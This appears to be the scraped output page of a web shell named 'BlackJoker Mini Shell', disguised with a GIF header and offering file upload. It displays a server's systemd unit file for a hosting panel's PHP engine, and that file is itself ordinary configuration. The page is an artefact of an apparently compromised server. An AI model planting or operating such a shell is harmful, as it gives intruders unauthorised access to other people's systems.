GIF89a; Mini Shell

Mini Shell

Direktori : /lib/systemd/system/
Upload File :
Current File : //lib/systemd/system/sw-engine.service

[Unit]
Description=Startup script for Panel sw-engine
After=network.target
PartOf=psa.service

[Service]
Type=notify
PIDFile=/run/sw-engine.pid
ExecStart=/usr/sbin/sw-engine-fpm --fpm-config /etc/sw-engine/sw-engine-fpm.conf -c /usr/local/psa/admin/conf/php.ini --nodaemonize --pid /run/sw-engine.pid
ExecReload=/bin/kill -s SIGUSR2 $MAINPID
# `rm -rf /dir1/dir2/*` doesn't work in systemd unit
ExecStopPost=-/usr/bin/find /run/lock/lmlib/ -mindepth 1 -delete
KillMode=process

[Install]
WantedBy=multi-user.target

./BlackJoker Mini Shell 1.0